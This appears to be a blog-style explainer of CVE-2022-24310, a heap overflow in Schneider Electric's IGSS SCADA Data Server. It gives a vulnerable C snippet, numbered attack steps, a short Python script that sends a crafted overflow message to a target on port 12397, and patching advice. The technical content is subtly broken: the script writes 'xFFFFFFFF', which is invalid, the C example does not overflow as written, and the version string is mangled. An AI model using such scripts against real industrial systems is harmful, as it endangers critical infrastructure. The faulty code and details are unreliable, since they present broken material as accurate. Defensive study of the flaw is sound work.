CVE-2022-24310 - How a Simple Integer Overflow in SCADA Could Lead to Major Security Risks

Industrial systems like SCADA (Supervisory Control and Data Acquisition) used to feel safely tucked away behind firewalls and air gaps. But in today’s connected world, flaws like CVE-2022-24310 can turn these vital control systems into targets for cyber attackers. This exclusive long read will explain the core of this vulnerability, show you how an attacker can exploit it, and provide guidance for protecting your systems.

What is CVE-2022-24310?

CVE-2022-24310 is a vulnerability in the Interactive Graphical SCADA System (IGSS) Data Server, version V15...22020 and earlier. At its root, the flaw is a CWE-190: Integer Overflow or Wraparound. By sending multiple specially crafted network messages, an attacker can trigger a heap-based buffer overflow. This can lead to denial of service (the target server crashes) and, in some situations, remote code execution (RCE).

Why Does It Matter?

The IGSS product from Schneider Electric is widely used in critical infrastructure sectors like energy, water, and manufacturing. If attackers can take over SCADA systems, real-world consequences like power outages or water supply disruptions are possible.

Where Is the Flaw?

Within the IGSS Data Server, certain network message codes are expected to include a size field. Before allocating memory, the server reads the value of this field and uses it to allocate a buffer—without checking if the value is too large.

If an attacker provides a very large size, the multiplication that calculates the buffer length may wrap around (due to integer overflow). Then, the server allocates a much smaller buffer than needed. The attacker’s message is copied into the buffer, overflowing it and corrupting adjacent memory on the heap.

Here’s what this type of bug looks like in code

// Untested, demonstration only

void handle_message(char *incoming) {
    uint32_t count;
    memcpy(&count, incoming, sizeof(uint32_t));  // Untrusted input

    size_t size = count * sizeof(Record);        // CWE-190: Integer Overflow

    // Allocate memory
    Record *records = (Record*)malloc(size);     // Allocated based on wrapped value

    // Copy records from input
    memcpy(records, incoming + 4, size);         // Heap buffer overflow here if size is too small!
}

The issue:count comes from the network and the multiplication can wrap around if count is large, causing malloc to allocate a buffer that’s too small.

Attack Steps

1. Craft a malicious message: The attacker creates a message with a very large count which, when multiplied, wraps around to a very small number (e.g., 4 bytes).

Send multiple messages: The attacker repeatedly sends these bad packets to IGSS Data Server.

3. Trigger the overflow: Each time, the server allocates an undersized buffer and copies too much data into it.

What happens?

- Best case for attacker: The overflow allows overwrite of function pointers or heap structures, leading to execution of attacker’s code (remote code execution).

Exploit Code Example (Pseudo-Python)

import socket
import struct

ip = "192.168.1.100" # Target server
port = 12397

# Malicious 'count' triggers integer overflow in C code
oversized_count = xFFFFFFFF

# The rest of the message can be random.
payload = struct.pack('<I', oversized_count) + b'A' * 4096

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(payload)
sock.close()

Note: The real exploit would need to match the application’s network protocol and might need additional fields, but this presents the core idea.

What Can Defenders Do?

- Update Now: If you’re running IGSS Data Server V15...22020 or earlier, grab the latest patch from Schneider Electric.
- Block Remote Access: Restrict who can access the IGSS Data Server TCP port (default 12397) with firewalls and network segmentation.
- Monitor Logs: Watch for repeated or malformed connection attempts that could indicate exploitation.

Conclusion

CVE-2022-24310 proves that even old bugs like integer overflows can have massive impact when they appear in critical infrastructure. A single malicious network message can take your SCADA data server down or potentially give an attacker a foothold inside your OT network. If you run IGSS, don’t take chances—patch now, and keep your control systems safe.

Disclaimer: This article is for educational purposes and defensive awareness. Don’t use this knowledge to harm real systems. Always follow responsible disclosure and use in legal test environments only.

Timeline

Published on: 02/09/2022 23:15:00 UTC
Last modified on: 02/17/2022 02:28:00 UTC